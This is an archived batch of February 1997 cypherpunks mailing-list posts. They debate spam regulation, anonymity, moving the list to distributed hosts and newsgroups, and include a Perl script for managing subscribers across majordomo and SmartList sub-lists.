Date: Thu, 13 Feb 1997 15:27:07 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Procmail during the transition, anyone?
Message-ID: <199702132327.PAA13628@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A while back, I experimented with a technique for adding an md5 based
message-id at the top of my procmailrc.  Never got it working.  I'll
give it another shot middle of March, when I get back from FC '97*,
and catch up on stuff.

Someone could of course, beat me to it.

The flow was:

all messages get piped into md5, then use formail to set a new header.

Adam



Derek Atkins wrote:
| Anil Das <das@sgi.com> writes:
| 
| [snip]
| > It detects duplicates by Message-Id.
| 
| Unfortunately, the messages that make it through to the cypherpunks
| list have their MessageID changed when they get approved.  So,
| checking for duplicates by MessageID fails, given the current approval
| mechanism. :(
| 
| I've informed Sandy of the problem, but he doesn't know how to
| preserve the original MessageIDs.
| 
| -derek
| 
| -- 
|        Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
|        Member, MIT Student Information Processing Board  (SIPB)
|        URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
|        warlord@MIT.EDU                        PGP key available
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Thu, 13 Feb 1997 17:26:23 -0800 (PST)
To: cypherpunks <attila@primenet.com>
Subject: Re: (2)Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702140126.RAA15895@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 13 Feb 97 at 5:00, Attila T. Hun wrote:

> 
>     I don't like the regulatory agencies either, but at least they
>     are not Judge Roy Bean, Law West of the Pecos.
> 
>     unfortunately, until the irresponsible tone down their greed, we
>     need the regulation to protect ourselves from the predators.

Attila:  I am shocked that you would make this statement.  What makes 
you think that the 'regulators' would go away, once the greedy spammers 
"toned down their greed"?  Spammers as Predators?  Are you being 
sarcastic?  Are you seriously saying that spammers are preying on the 
weak?

I am one-thousand % AGAINST regulation of any sort.

> 
>     in other words, I agree with you in my heart, but our society
>     refuses to cooperate.  

If cooperation means regulation, count me out.

Ross 

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Homer W. Smith" <homer@lightlink.com>
Date: Thu, 13 Feb 1997 15:27:16 -0800 (PST)
To: Wazoo MixMaster <mix@earth.wazoo.com>
Subject: Re: Remailer Network Under Attack
Message-ID: <199702132327.PAA13644@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Given the variety of addresses being "spam baited", the only logical
> target of this abuse is the remailers themselves.  Both sides of
> certain heated controversies report being made the target of this
> spam bait, each side accusing the other of being responsible.

    Allegations of responsibility are a serious charge and should
be looked into immediately.


     GOOD GUYS AND BAD GUYS, circa 12/95

     There are two kinds of people in the world.  Those that divide
people into two kinds and those that don't.

     With that in mind, I present to you the following over
simplification.

     There are two kinds of people in the world, the good guys and the
bad guys.

     The good guys speak with the Voice of Truth, and the bad guys
speak with the Voice of Lies.

     I believe that anonymity is the foundation of freedom in the
known universe.  Anonymity is the ability to speak either the voice of
truth or the voice of lies without anyone knowing who you are.

     Accountability is the opposite of Anonymity.  Accountability
means that everyone knows who said what and can take them to task for
it.

     Both sides can use force to silence the other side, but usually
its the bad guys who use force to silence the good guys, good guys use
more voice of Truth to expose the bad guys.
 
     Although some would claim that in general accountability is a
good thing, I would point out that ALL members of the controlling
party of the emerging police state are adamantly FOR absolute
accountability at all times for all their citizens.  That should give
one pause to wonder.

     Anonymity is actually very hard to maintain, and absolute
anonymity for all people at all times is very difficult indeed.

     Therefore by observation a society or oganization is usually
operating at some gradient scale of anonymity between the extremes of
total anonymity and total non anonymity.

     It can come to pass that certain gradient levels of anonymity end
up benefitting the bad guys more than the good guys.  In these
situations, the bad guys tend to start winning and the good guys
perceive that the bad guys are winning BECAUSE of anonymity.

     Rather than use the weapon of anonymity themselves to protect
against the bad guys, the usual convulsive reaction on the part of the
good guys is to try and close down the channels of anonymity to keep
the bad guys located and corralled, rather than to open up the
channels more and use it themselves.  This does not occur to them, or
if it does they are beset with visions of the bad guys getting away
with more than they are now.

     The logic for closing down the channels of anonymity goes
something like this.  Since our country is ruled by an Omni
Intelligent and Omni Beneficent God King, if we can track every
communication down to the person who said it, the God King will be
able to tell the good guys from the bad guys, and silence the bad guys
for us.

     The problem with this logic is that our country is not run by a
God King, but by human beings who tend to elect each other into power
based on outrageous criteria.

     As the bad guys see themselves getting corraled with
accountability, they simply run for office and get themselves elected
into the positions of power where THEY are the ones taking action
against the bad guys.  Of course they take action against the good
guys instead.

     It is for this reason that the temptation to tighten
accountability when anonymity is abused is always an error and leads
to a terrible trap worse than any tar pit.  Namely only the bad guys
get to speak, and the good guys get to remain silent fearing for their
lives.
 
     Which is why when the police ask if you have something to hide
after you have refused to let them spot search your belongings, you
must always say, "Of course, I have EVERYTHING to hide.  FROM YOU!"

     Anyhow as an ISP it is my job to provide the channels of
communication between people.  That's what I do, I provide the
CHANNEL.  This includes standard accountable channels and not so
standard anonymous channels.

     People who communicate with each other tend to get into fights
with each other over what they are communicating about.  Usually they
take their fights out on each other.  But when anonymous channels are
used, they can't get to each other, they don't know who each other is,
so they take it out on the provider of the channel instead.  That's
me.
  
     It's enough to make you want to throw anonymity in the waste
basket.

     Providing a communication channel is a difficult job, it usually
involves a precarious balance between allowing the good guys to speak
and making sure the bad guys don't get away with the gold.

     It is very hard to maintain that balance with both sides pulling
and tugging on you because they can't pull and tug on each other.

     One of the main purposes of the Subscriber Agreement is to make
sure that people pull and tug on each other, and leave me out of it
even if they got no one to target at the other end.

     Homer







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 13 Feb 1997 15:26:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property & cypherpunks
Message-ID: <199702132326.PAA13544@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

After talking w/ Sten (firebeard) I have agreed to drop the explicit PD
proviso. This means the Cypherpunks Distributed Remailer is operaing
under the Burne Convention of implicit copyright.

This is gonna be fun.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 13 Feb 1997 17:26:57 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702140126.RAA15930@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles allegedly said:
> 
> At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote:
> >
> >This is where the distributed nature of the list comes   in.
> >
> >if someone disagrees with Jim's AUP, he or she can use soem other
> >mailing list host.
> 
> Is this the policy of the majordomo network, that individual list operators
> can make their own policies for their subscribers, but may not/cannot
> impose them on other list operators or the other lists' members? It sounds
> very reasonable, but it would be nice to be clear about whether or not this
> is the case. 
> 
> Are there any rules (other than "no rules") which apply to all lists/list
> operators/list subscribers? Can there ever be any? Who would write the
> rules, and who must agree to them in order for them to take effect?
> 
> Can individual list operators be forced to or forbidden to "peer" with
> other machines, or are these "peer" relationships up to each list operator?

Both realistically and idealistically speaking, the peer relationships
should be up to each list operator.  

And, once again, both realistically and idealistically speaking, each
list operator should set their own policies.  The beauty of this 
scheme is that it gives maximum freedom to both the list operators 
*and* the list members -- if a list operator wants to filter out 
clever asci art, they can, and contrariwise, if the list members want 
to change list operators as a result, they can.  In fact, I don't see 
why moderated versions of the list couldn't happily coexist as part 
of the distributed list.  Let those flowers bloom!

BTW, I am planning on an upgrade to majordomo 1.94.1 this weekend, 
and I will be setting up cypherpunks@songbird.com at that time.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 13 Feb 1997 12:00:58 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Cypherpunks-announce? Do we need to recreate this?
Message-ID: <199702132000.MAA09927@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Now that cypherpunks is moving, to both a newsgroup and one or more 
> mailing lists, there's still a need for cypherpunks-announce or 
> something like it.  So far it's carried 1-2 announcements per month.
> 
> Should we create it as a mailing list, moderated or unmoderated,
> or as a newsgroup?  (It's been a moderated mailing list, run by John and
> Hugh.)

I newsgrouped several sub groups along with alt.cypherpunks.

alt.cypherpunks.announce
alt.cypherpunks.social
alt.cypherpunks.technical

but they do not appear to have taken effect (my local news server 
refuses to see them). Can anyone else see them? - If not I`ll have a 
word with my newsadmin.



 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 06:56:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: You guys/gals oughta get a kick outta this guy
Message-ID: <199702141456.GAA07194@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




> > Yet another person who needs a good stern talking to by the nearest
> > cypherpunk --- this guy posted to comp.lang.perl.misc with the following
> > blasphemy, which I luaghed at until I had tears in my eyes.
> > --BEGIN COMPLETE STUPIDITY--
> > I want to make it executable to protect the source code from being read. I
> > don't want the source code available because I don't want people looking
> > for security holes.
> > --END COMPLETE STUPIDITY--

NO! - It must be impossible to be this naive! - Thanks for the post, 
I laughed until I displaced a kidney ;-)

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 17:28:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702140128.RAA15978@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 13 Feb 1997 14:46:04 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Private property & the cypherpunks list(s)

> Is this the policy of the majordomo network, that individual list operators
> can make their own policies for their subscribers, but may not/cannot
> impose them on other list operators or the other lists' members? It sounds
> very reasonable, but it would be nice to be clear about whether or not this
> is the case. 

There is no policy at this point. We have not even agreed to a means to
institute the network or its basic architecture. The only point of mandatory
agreement is between any two individual list operators and the mechanism
they use to transfer between those two nodes.

This sort of policy distribution won't work, as to reasonable I think not.
If everyone does their own thing with no compromise then nothing will
get done.

> Are there any rules (other than "no rules") which apply to all lists/list
> operators/list subscribers? Can there ever be any? Who would write the
> rules, and who must agree to them in order for them to take effect?

There are no explicit rules at this point. Yes there can be all sorts of 
rules, both implicit (eg copyrights) and explicit. Anyone can write rules.
Nobody must agree to anything other than implicit agreements, course
the concept of 'agreement' sorta goes out the window with implicits.

> Can individual list operators be forced to or forbidden to "peer" with
> other machines, or are these "peer" relationships up to each list operator?

Don't see how anyone can force the remailer to do anything.

Can't speak for anyone else but can say with some degree of certainty that
no participant in cpunks can stop me from subscribing whoever I want. There
is certainly no mechanism envisioned to authenticate subscriptions with
the remailer operators.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 14 Feb 1997 06:58:04 -0800 (PST)
To: cypherpunks@algebra.com
Subject: No Subject
Message-ID: <199702141458.GAA07308@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,

I have newsgrouped some further alt.groups as follows:

alt.cypherpunks.announce
alt.cypherpunks.technical
alt.cypherpunks.social

I recommend that posters crosspost as follows:

All messages, apart from announcements, go to alt.cypherpunks.
Alt.cypherpunks.announce holds announcements only and it`s
contents is disjoint with that of alt.cypherpunks.

Alt.cypherpunks.technical: All posts to this group are also
crossposted to alt.cypherpunks

alt.cypherpunks.social: All posts to this group are also
crossposted to alt.cypherpunks.

The newsgroup names are pretty self explanatory but technical is just
for technical discussion and social for discussion of social and
political issues regarding cryptography. 

With this crossposting scheme readers can either get the whole content
or just the part they want easily without filtering working overtime,
for instance, I might choose to subscribe to alt.cypherpunks.technical
and only dip into alt.cypherpunks.social when I felt like a flame war
;-)

As I said, its only a guideline of course and post what you want where
you want but i feel this organisation allows people to easily choose
the part of the discussion they want to read.



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 17:27:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702140127.RAA15949@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 13 Feb 1997 13:50 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)

> 	Well, if you can't deliver mail because their mailbox is full, then
> you should simply wait a few days before trying to deliver mail to that
> address. If it's because the address isn't there any more, you should delete
> it from the subscription lists. Otherwise, the instant people's mail quotas
> overflow (e.g., they're on AOL and they haven't been able to get through the
> clogged lines), they get bounced... or you're left with a lot of invalid
> addresses.

If their mailbox is full I might let it sit a day. If I still get a bounce
after that I currently yank it. As I stated earlier, I am currently trying to
decide if daily or weekly purges are in order. I personaly lean toward daily.
I certainly am not buying disk space just so somebody else can use it for
storing things they don't personaly have room for.

> The address causing the bounce is not necessarily determinable
> automatically from the bounce message; if it isn't, then you need to keep a
> copy around for a human to look at.

Hmmm, to date I haven't had a problem determining where the cause was
from the bounces I see. I can't always tell why but it always seems to
say whose email address was involved.

> 	Given that there are pre-existing news-mail gateways, I'd think that
> the programs should be available. My concern on the programming is more in
> the realm of keeping the thing up and running.

If you get it up and running there should be no programming involved. Unless
you want to reconfigure.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Thu, 13 Feb 1997 12:11:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702132011.MAA10157@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Hey, folks,
> 
> I thought all you had to do to create an alt.group was to have a news admin
> somewhere just make a group; send out a control message of somekind. I
> thought that alt groups didn't have to go through a charter, or voting
> process, or anything else. They just happened.
> 
> Then, everyone just has to tell their local news admin that they went to
> see it, or they can wait until their news admin sees it flying by, and adds
> it to the available groups list at his own discretion.
> 
> It's not like we want comp.cypherpunks or something, with a voting process,
> right?
> 

It's not quite that simple.  While a "Big 7" group requires CFD, charter
and voting, once you pass tthose hurdles you're virtually guaranteed good
propagation.  alt has no "set" creartion procedure, but your group will
not receive good propagation unless the powers that be "approve" of the 
idea.

In this case, the people you have to convince are the news admins who must
permit your control message to be honoured; time was most sites ran on
autopilot, but joke and badly-named groups mean that most news admins
now drop most newgroup messages on the floor.  These people hang out in
alt.config, and you should propose the group's creation there, followed
by a couple of weeks of discussion, hopefully featuring many more 
supportive messages than non-supportive ones.  After that, a newgroup 
message stands a much better chance.

> Cheers,
> Bob Hettinga
> 
> 
>

Hip hip,

John P. 
john@huiac.apana.org.au







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Roessler <Thomas.Roessler@sobolev.rhein.de>
Date: Thu, 13 Feb 1997 11:58:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: distributed mailing list architecture
Message-ID: <199702131958.LAA09891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Maybe you have some use for the appended perl script.  I created it for a
list setup quite similar to what is currently being discussed on
cypherpunks.  It has never ever been used in production; you'll notice
yourself that the code is not too nice.

The script currently tries to handle majordomo and SmartList exploders; at
least SmartList needs to be hacked a little bit to avoid daily subscription
approvals to people being moved between different sub-lists.

Distribute and use this script freely; credit is appreciated.

tlr
------------------------------
#!/usr/bin/perl

############################################################
#
# $Id: distlist.pl,v 1.2 1997/01/24 17:20:38 roessler Exp $
#

#
# Handle distributed mailing lists.
#

require 'getopts.pl';

$c_sublists='lists';		# Data about the sublists
$c_distfile='dist';		# A list of mail addresses
$c_datafile='dist.data';	# _Our_ list of addresses
$c_contact='roessler@sobolev.rhein.de';
				# Whom to contact in case of problems
$sendmail="| /usr/sbin/sendmail -t -odq";


$debug=0;			# Debugging output.  Can also be
				# turned on by using the -x switch.

$signature="-- \nThis mail has been generated automatically by the distlist\n".
    "program. Please contact $c_contact in case of problems.\n";


@sublists=();
@newsubs=();

#
# Command line processing
#

&dprint (1, 'Processing the command line...\n');
&Getopts('s:d:D:c:x:');

$c_sublists=$opt_s if $opt_s;
$c_distfile=$opt_d if $opt_d;
$c_datafile=$opt_D if $opt_D;
$c_contact=$opt_c  if $opt_c;
$debug=$opt_x	   if $opt_x;

#
# Read the data and config files, perform various checks.
#

#
# sublists
#

&dprint(1, "Reading $c_sublists...");

# format: addr:maxsubscr:listtype:password:adminrequest:maintainer

open(SUBLISTS, $c_sublists) || die("Can't open $c_sublists");
SUBLIST: while(<SUBLISTS>) {
    next SUBLIST if /^#/ || /^$/;
    chop;
    ($addr, $maxsubscr, $listtype, $password, $admin, $maintainer) = split(/:/, $_);
    $s_maxsubscr{$addr}=$maxsubscr;
    $s_listtype{$addr}=$listtype;
    $s_password{$addr}=$password;
    $s_admin{$addr}=$admin;
    $s_maintainer{$addr}=$maintainer;
    $s_onlist{$addr}=0;
    $s_addem{$addr}="";
    $s_delem{$addr}="";
    &dprint(3,"Parsed list $addr: maximum $maxsubscr people; listtype $listtype; password $password.; administrative address $admin; maintainer $maintainer");
    @sublists=(@sublists, $addr);
}

close(SUBLISTS);

# In addition, we define a special list for people to be redistributed later.

$s_maxsubscr{'later'}=100000;		# Very big. ;)
$s_listtype{'later'}="";
$s_password{'later'}="";
$s_onlist{'later'}=0;
$s_addem{'later'}="";
$s_delem{'later'}="";

#
# Read our dist file
#



# format: user:list

if(open(DATAFILE, $c_datafile)) {
    &dprint(1, "Reading $c_datafile...");

  USERLINE: while(<DATAFILE>) {
      next USERLINE if /^#/ || /^$/;
      chop;
      ($user, $list) = split(/:/, $_);
      
      # Check if the list exists; handle user.
      
      if(! $s_maxsubscr{$list}) {
	  &dprint(2, "While checking user $user:  $list does no longer exist.");
	  $list="later";
      } elsif( $s_onlist{$list} >= $s_maxsubscr{$list} ) {
	  &dprint(2, "Warning: $list is full.  Redistributing people later.");
	  $s_delem{$list}=join(':',$user,$s_delem{$list});
	  $list="later";
      } 
      
      $s_onlist{$list}++;
      $u_list{$user}=$list;
      
      $deletem{$user}=$user;
  }
    
    close(DATAFILE);
    &dprint(1,"$c_datafile finished.");
} else {
    &dprint(1, "Warning:  Can't read $c_datafile.");
}


#
# Now, read the real distribution file.
#

&dprint(1, "Reading $c_distfile...");

open(DISTFILE, $c_distfile) || die("Can't open $c_distfile");

 DISTLINE: while(<DISTFILE>) {
     next DISTLINE if /^#/ || /^$/ || /^\(/;
     chop;
     
     if(!$u_list{$_}) {			# A new member.
	 &dprint(2, "Found a new member: $_.");
	 @newsubs=($_, @newsubs);
     } else {				# We know him.
	 &dprint(3, "Well-known: $_.");
	 delete $deletem{$_};
     }
     
 }

close(DISTFILE);


#
# Handle deletions.
#

foreach $user (keys %deletem) {
    $list=$u_list{$user};
    delete $u_list{$user};
    $s_onlist{$list}--;
    $s_delem{$list}=join(':', $s_delem{$list}, $user);
    &dprint(3, "Removing $user from sublist $list.");
}

#
# Handle postponed subscriptions:  The later list.
#

foreach (keys %u_list) {
    next unless $u_list{$_} eq "later";
    @newsubs=($_, @newsubs);
    delete $u_list{$_};
    &dprint(3, "Adding $_ to the list of new subscriptions.  Was postponed.");
}


&dprint(1, "Distributing new subscriptions...");

 NEWSUBS: foreach $user (@newsubs) {

     $avg=0.0;
     foreach $l (@sublists) {
	 $avg += $s_onlist{$l}/$s_maxsubscr{$l};
     }
     
     $avg = $avg / ($#sublists + 1.0);
     
     if ($avg >= 1) {
	 &dprint(2, "Warning: All sublists are full while trying to insert $user.");
     }

     undef $possible;

     foreach $l (@sublists) {
	 if($s_onlist{$l} <= $avg*$s_maxsubscr{$l}) {
	     $possible=$l;
	 }

	 if($s_onlist{$l} < $avg*$s_maxsubscr{$l}) {
	     last;
	 }
     }

     if($possible) {
	 $l = $possible;
     }
     
     $s_addem{$l}=join(':', $s_addem{$l}, $user);
     $s_onlist{$l}++;
     $u_list{$user}=$l;
     
 }

#
# Write our own data file.
#

if(open(DATAFILE, ">$c_datafile")) {
    foreach (keys %u_list) {
	printf DATAFILE "%s:%s\n", $_, $u_list{$_};
    }
    close(DATAFILE);
} else {
    &dprint(1, "Warning: Can't write $c_datafile.");
}

#
# The lists have been put together.  Commit the changes.
#

&dprint(1, "Committing the changes...");

foreach $l (@sublists) {
    if($s_listtype{$l} eq "majordomo") {
	&commit_majordomo($l);
    } elsif ($s_listtype{$l} eq "smartlist") {
	&commit_smartlist($l);
    } else {
	&dprint(1, "While trying to commit changes for $l:");
	&dprint(1, "Unknown list type $s_listtype{$l}.\n");
    }
}

#
# To be done:  Print out some statistics.
#

print "Distlist results:\n";
print "-----------------\n";
print "\n";
printf "There are currently %d subscribers on %d sublists.\n\n", scalar(keys %u_list), $#sublists+1;

$full_lists=0;

printf "%-40s     on  max\n", "Name";
printf "----------------------------------------------------\n";

foreach $l (@sublists) {
    printf "%-40s   %4d %4d", $l, $s_onlist{$l}, $s_maxsubscr{$l};
    
    if($s_onlist{$l} >= $s_maxsubscr{$l}) {
	print "   *** This list is full ***";
	$full_lists++;
    }

    print "\n";
}

if($full_lists) {
    print "\n$full_lists of the sublists are *full*.  Please get in touch\n";
    print "with the maintainers.\n";
}

print "\n\n";
print $signature;

############################################################
#
# Some helper functions.
#

# Print out diagnostics.

sub dprint
{
    if($_[0] <= $debug) {
	printf STDERR "%s\n", $_[1];
    }
}


sub commit_majordomo
{
    my $list=$_[0];
    my @bla;
    my $ll;
    my $user;

    &dprint(2, "Committing changes to majordomo list $list");
    &dprint(3, "to be added: $s_addem{$list}");
    &dprint(3, "to be deleted: $s_delem{$list}");

    ($ll, @bla)=split(/@/, $list);

    if(!open(SENDMAIL, $sendmail)) {
	&dprint(1, "Warning:  Can't start sendmail when committing changes to $list");
    }

    print SENDMAIL "To: $s_admin{$list}\n";
    print SENDMAIL "From: $c_contact\n";
    print SENDMAIL "\n\n";
    
    foreach $user (@bla=split(/:/, $s_addem{$list})) {
	print SENDMAIL "approve $s_password{$list} subscribe $ll $user\n"
	    if $u_list{$user};
    }

    foreach $user (@bla=split(/:/, $s_delem{$list})) {
	print SENDMAIL "approve $s_password{$list} unsubscribe $ll $user\n"
	    unless $u_list{$user} eq $list;
    }

    print SENDMAIL $signature;
    
    close(SENDMAIL);
}

sub smartlist_xcommand
{
    my ($list, $to, $passwd, $command, $maintainer) = @_;

    if(!open(SENDMAIL, $sendmail)) {
	&dprint(1, "Can't start sendmail when committing changes for $list");
    }

    print SENDMAIL "To: $to\n";
    print SENDMAIL "From: $c_contact\n";
    print SENDMAIL "X-Command: $maintainer $passwd $command\n";
    print SENDMAIL "\n\n";
    print SENDMAIL $signature;

    close SENDMAIL;
}	
	
    

sub commit_smartlist
{
    my $list=$_[0];
    my @bla;
    my $user;

    &dprint(2, "Committing changes to smartlist list $list");
    
    foreach $user (@bla=split(/:/, $s_addem{$list})) {
	&smartlist_xcommand($list, $s_admin{$list}, $s_password{$list},
			    "subscribe $user", $s_maintainer{$list})
	    if $u_list{$user};
    }

    foreach $user (@bla=split(/:/, $s_delem{$list})) {
	&smartlist_xcommand($list, $s_admin{$list}, $s_password{$list},
			    "unsubscribe $user", $s_maintainer{$list})
	    unless $u_list{$user} eq $list;
    }
}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 19:26:23 -0800 (PST)
To: Leonard Janke <cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702140326.TAA18459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 2:17 PM -0800 2/13/97, Leonard Janke wrote:

>That being said, I fully support the idea of a comp.* newgroup,
>over an alt.* group. The important advantages are the greater
>propogation many have described, and the reduction in "outsider"
>noise. I also think that people interested in computing
>in general might be more likely to stumble onto the newsgroup,
>since the comp.* hierachy is so much smaller than the alt.*
>hierachy.

Given that _political_ discussions of crypto are now encouraged in
_talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think
political and social essays dealing with crypto anarchy, offshore
databases, undermining governments, etc., will be welcome in the "comp"
hierarchy?

I rather doubt it. And I would bet that if comp.org.cypherpunks is ever
approved, those who dislike crypto anarchy and sociopolitical chatter will
use the "comp" name to try to suppress such discussions.

And thus comp.org.cypherpunks will be mostly a duplicate of sci.crypt and
other such groups.

>To be fair, though, I doubt that anyone would seriously try to
>disrupt the creation, given the dedication I am seeing people putting
>into finding a new home (or homes!) for the list, and that there does not
>seem to be anyone dedicated to distrupting that process as John Gilmore
>worried there would be. (And I am on the unedited list, too!)

Sorry, Leonard, but this is one of the most naive statements I've ever
heard. You really think whoever is spamming the list with ASCII art and
broke into Paul's account to post hundreds of "John Gilmore is a
cocksucker" posts will back off because of the "dedication" of some? To the
perverse personality, this is merely a greater challenge and temptation.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Thu, 13 Feb 1997 15:27:27 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: (2) More on Digital Postage
Message-ID: <199702132327.PAA13651@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970213:0902 "Timothy C. May" <tcmay@got.net> said:

+At 5:00 AM +0000 2/13/97, Attila T. Hun wrote:

+>    unfortunately, until the irresponsible tone down their greed, we
+>    need the regulation to protect ourselves from the predators.
+>
+>    in other words, I agree with you in my heart, but our society
+>    refuses to cooperate.

+Attila and I have had this disagreement before (last time it involved
+Attila's support for curfews).

+Attila is free to hire agents to screen his mail so he does not receive
+spam. He is not free, in a free society, to force such screeners upon
+me.

    very true. if you if define that your freedom includes the free 
    abuse of your freedoms by others.  freedom is a two way street; 
    freedom in my book says that I can do anything I wish which does 
    not infringe on the rights of others. now, that implies that I can 
    _personally_ exact justice on those who violate my space.  this is 
    a state of war which even Jim Bell's AP does not cover --AP is just 
    an anonymous and chicken-hearted way of settling the score, and 
    creates its own code even more absurb than the rules coming down 
    from Washington.

    and, I can not imagine you really believe the basic animals of our 
    society and the predators who attempt to feed upon us all do not 
    need to be restrained in one way or another.  you obviously have
    a solution: your .44 (I prefer a full choke 12 ga pump).

    maybe the comment in my sig line is an expression of the suppressed 
    feelings of the frustrated members of our society who have been 
    confronted by the inequities of our legal system when they expected 
    redress was their right.

+Talking about "irresponsible tones" and "greed" and how we need more
+laws to protect ourselves from "predators" sounds more like something
+from the Marin County limousine liberal set than from a Utah mountain
+man Cypherpunk. I'm shocked, simply shocked.

    shocked, simply shocked?  (:-})  marin county? I'm insulted <g>

    tell you what: you run afoul of us out here on the "mountain" where 
    there is no need for social niceties --we just call it "range law."
 
    
 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 
 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwN12b04kQrCC2kFAQG8AwP/fT3BgeMG8V9IKOGjFEpI+3gY8F5cSohh
8qqaMrHkYT7UU1WZcO/1pGJyUycvOUgzzlFJoTYZsxP6NvJhpkGopHg31EUBDfC+
5lFDJR1hlX6ckyL8moDlxi3l0z7Dxf6VO+J5dsCetmJG+QxN7/0PzeplN5oN9Y1V
